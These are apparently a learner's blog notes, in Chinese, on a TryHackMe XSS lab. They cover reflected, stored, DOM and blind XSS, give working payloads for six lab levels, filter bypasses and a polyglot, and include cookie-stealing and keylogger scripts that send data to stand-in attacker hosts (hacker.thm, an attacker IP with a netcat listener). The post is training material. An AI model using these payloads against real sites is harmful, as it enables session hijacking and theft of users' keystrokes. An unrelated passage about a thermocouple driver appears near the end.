THM学习笔记--XSS

跨站脚本(Cross-site scripting)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS Payloads

什么是 Payload?

在 XSS 中,Payload 是我们希望在目标计算机上执行的 JavaScript 代码。Payload 有两个部分,意图和修改。

意图是你希望 JavaScript 实际执行的操作

修改是对我们需要使其执行的代码进行的更改

以下是一些 XSS 意图的示例。

概念验证

这是最简单的 Payload ,你所需要做的就是证明你可以在网站上实现 XSS。 这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如::

<script>alert('XSS')</script>

会话窃取

用户会话的详细信息,例如登录令牌,通常存储在目标计算机的 Cookie 中。下面的 JavaScript 获取目标的 Cookie,对 Cookie 进行 base64 编码以确保成功传输,然后将其发布到黑客控制下的网站进行记录。一旦黑客获得这些 Cookie,他们就可以接管目标的会话并以该用户身份登录。

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie))</script>

键盘记录器

下面的代码充当键盘记录器。这意味着在网页上键入的任何内容都将转发到黑客控制下的网站。

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) )}</script>

业务逻辑

这个 Payload 比上面的例子要具体得多。这可能涉及调用特定的网络资源或 JavaScript 函数。例如,假设有一个用于更改用户电子邮件地址的 JavaScript 函数称为 user.changeEmail()。你的 Payload 可能如下:

<script>user.changeEmail('attacker@hacker.thm')</script>

现在,账户的电子邮件地址已更改,攻击者可以执行重置密码攻击。

反射型 XSS

当用户在 HTTP 请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS。

示例情景

如果您输入错误的内容,则会显示错误消息的网站。 错误消息的内容取自查询字符串中的错误参数,并直接构建到页面源中。

应用程序不检查错误参数的内容,这使得攻击者能够插入恶意代码。

潜在影响

攻击者可以发送包含 JavaScript 负载的链接或将其嵌入到另一个网站的 iframe 中,诱使潜在受害者在其浏览器上执行代码,可能泄露会话或客户信息。

如何测试反射型 XSS

你需要测试每个可能的入口点,包括:

  • URL 查询字符串中的参数
  • URL 文件路径
  • 有时是 HTTP 标头(虽然在实践中不太可能被利用)

一旦找到在 Web 应用程序中反映数据的一些数据,然后需要确认您可以成功运行您的 JavaScript 负载;您的负载将取决于应用程序中代码反映的位置。

存储型 XSS

顾名思义,XSS Payload 存储在 Web 应用程序中(例如数据库),然后在其他用户访问站点或网页时运行。

示例情景

一个允许用户发布评论的博客网站。不幸的是,这些评论没有经过检查,以查看它们是否包含 JavaScript 或过滤掉任何恶意代码。如果我们现在发布包含 JavaScript 的评论,这将存储在数据库中,每个访问文章的其他用户都将在其浏览器中运行 JavaScript。

潜在影响

恶意 JavaScript 可以将用户重定向到另一个站点,窃取用户的会话 Cookie,或者在充当访问用户时执行其他网站操作。

如何测试存储型 XSS

你需要测试似乎数据被存储并在其他用户可以访问的区域中显示的每个可能的入口点;其中一些小例子可能包括:

  • 博客上的评论
  • 用户配置文件信息
  • 网站列表

有时,开发人员认为在客户端限制输入值就足以提供保护,因此将值更改为 Web 应用程序不希望的内容是发现存储型 XSS 的好方法,例如,一个预期从下拉菜单中获得整数的年龄字段,但您手动发送请求而不使用表单,则可以尝试恶意负载。

一旦找到在 Web 应用程序中存储数据的一些数据,然后需要确认您可以成功运行您的 JavaScript 负载;您的负载将取决于应用程序中代码反映的位置。

DOM 型 XSS

什么是 DOM?

DOM 代表文档对象模型,是 HTML 和 XML 文档的编程接口。它表示页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中或作为 HTML 源代码。

利用 DOM

DOM 型 XSS 是指 JavaScript 执行直接在浏览器中进行,而无需加载新页面或将数据提交到后端代码。执行发生在网站 JavaScript 代码对输入或用户交互做出反应时。

示例情景

网站的 JavaScript 从 window.location.hash 参数获取内容,然后将其写入当前正在查看的部分。哈希的内容没有检查恶意代码,允许攻击者将他们选择的 JavaScript 注入到网页中。

潜在影响

可以向潜在受害者发送精心制作的链接,将其重定向到另一个网站,或从页面或用户会话中窃取内容。

如何测试 DOM 型 XSS

你需要查找代码的某些部分,访问攻击者可以控制的特定变量,例如 "window.location.x" 参数。

找到这些代码段后,你需要查看它们是如何处理的以及值是否被写入到网页的 DOM 或传递给不安全的 JavaScript 方法,例如 eval()eval()

Blind XSS

Blind XSS 类似于存储型 XSS,因为你的 Payload 被存储在网站上供其他用户查看,但在这种情况下,你无法看到 Payload 是否起作用或者首先对自己进行测试。

示例情景

一个网站有一个联系表单,您可以向工作人员成员发送消息。消息内容不会检查是否包含任何恶意代码,这允许攻击者输入任何他们希望的内容。然后这些消息转化为支持票,工作人员在私人 Web 门户上查看。

潜在影响

使用正确的 Payload,攻击者的 JavaScript 可以回调到攻击者的网站,显示工作人员门户的 URL、工作人员成员的 Cookie 甚至正在查看的门户页面的内容。现在攻击者可能会劫持工作人员的会话并访问私人门户。

如何测试Blind XSS

在测试Blind XSS 漏洞时,你需要确保你的 Payload 具有回调(通常是 HTTP 请求)。这样,你就知道何时以及何地执行了你的代码。

Blind XSS 攻击的一个流行工具是 XSS Hunter Express

例子

Level One

输入张三

查看页面源代码

尝试输入

<script>alert('THM')</script>

 成功

Level Two

输入相同内容,但发现不起作用

查看页面源代码

可以看到姓名在 input 标签的 value 属性中,我们需要先转义输入标签,以便payload可以正常运行。

"><script>alert('THM');</script>

 "> 是关闭 value 参数,然后关闭输入标签。

 成功

Level Three

 查看页面源代码

 </textarea>会使 textarea 元素关闭,以便脚本运行。

</textarea><script>alert('THM');</script>

 成功

 

Level Four

查看源代码

 输入以下代码

';alert('THM');//

 ' 关闭指定名称的字段 ; 表示当前命令的结束, // 使它后面的任何内容成为注释

成功

 

Level Five

查看页面源代码 

尝试输入代码

发现不起作用,再次查看源代码

发现script被删除,复写script

<sscriptcript>alert('THM');</sscriptcript>

成功

Level Six

 进去发现已有内容,点击enter,出现一只可爱的猫猫。

输入张三

查看页面源代码 

尝试输入代码

发现不起作用,查看源代码 

发现<>被过滤 ,为了绕过过滤器,我们可以利用 IMG 标签的其他属性,例如 onload 事件。一旦 src 属性中指定的图像加载到网页上,onload 事件就会执行我选择的代码。

/images/cat.jpg" onload="alert('THM');

成功 

Polyglots

XSS polyglot 是一串文本,可以转义属性、标签和绕过过滤器。以上六个都可以使用以下代码并且成功执行

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

完善你的 Payload

Payload 是我们希望在另一个用户的浏览器上执行的 JavaScript 代码,或者作为概念验证来证明网站中的漏洞。

你的 Payload 可以有许多意图,从只是弹出一个 JavaScript 警告框,以证明我们可以在目标网站上执行 JavaScript,到从网页或用户会话中提取信息。

JavaScript Payload 在目标网站代码中的反映方式将决定您需要使用的 Payload。

Practical Example (Blind XSS)

设置一个侦听服务器来接收信息。

让我们使用 Netcat 设置一个侦听服务器。如果我们想侦听端口 9001,我们发出命令 nc -l -p 9001 .该 -l 选项表示我们希望在侦听模式下使用 Netcat,而该 -p 选项用于指定端口号。为了避免通过DNS解析主机名,我们可以添加 -n ;此外,要发现任何错误,建议通过添加选项 -v 在详细模式下运行 Netcat。最后一个命令变为 nc -n -l -v -p 9001 ,等同于 nc -nlvp 9001 。

构建payload。

</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>
  • </textarea> 标签将关闭文本区域字段。
  • <script> 标签为我们打开了一个编写 JavaScript 的区域。
  • fetch() 命令发出 HTTP 请求。
  • URL_OR_IP 是 THM 请求捕获器 URL、来自 THM AttackBox 的 IP 地址或您在 THM VPN 网络上的 IP 地址。
  • PORT_NUMBER 是用于侦听 AttackBox 上的连接的端口号。
  • ?cookie= 是包含受害者 Cookie 的查询字符串。
  • btoa() 命令 base64 对受害者的 cookie 进行编码。
  • document.cookie 访问 Acme IT 支持网站的受害者 cookie。
  • </script> 关闭 JavaScript 代码块。

 

成功

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
thm3060是一款热电偶信号转换器,用于将温度传感器产生的热电偶信号转换为电压信号。它的驱动是指安装在计算机或控制系统中以使thm3060能够正常工作的程序或软件。 thm3060驱动软件是由thm3060的制造商提供的,可以从其官方网站或其他相关渠道下载。安装驱动软件后,计算机或控制系统可以正确识别和与thm3060通信,以实现温度传感器的数据转换和读取。 thm3060驱动软件通常具有以下功能: 1. 设备识别:驱动程序能够识别连接的thm3060设备,确保与之通信的正确性。 2. 数据转换:驱动软件可以将thm3060收到的热电偶信号转换为电压值,以便计算机或控制系统能够正确理解和处理。 3. 数据读取:驱动程序提供读取thm3060转换后的数据的接口,以便用户能够获取温度传感器的数据。 4. 参数设置:驱动软件还具有设置thm3060参数的功能,例如热电偶类型、温度单位等,以满足不同应用的需求。 安装thm3060驱动软件的过程通常是简单且直接的。用户只需遵循安装说明,将驱动程序文件下载到计算机中,并通过所提供的安装向导或手动方式完成安装。 总之,thm3060驱动是确保thm3060能够正常工作并保证数据传输的重要组成部分。用户需要根据所使用的计算机或控制系统的操作系统和版本选择合适的驱动程序,并按照安装指南来进行安装。这样,thm3060就可以在温度测量和控制应用中发挥作用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值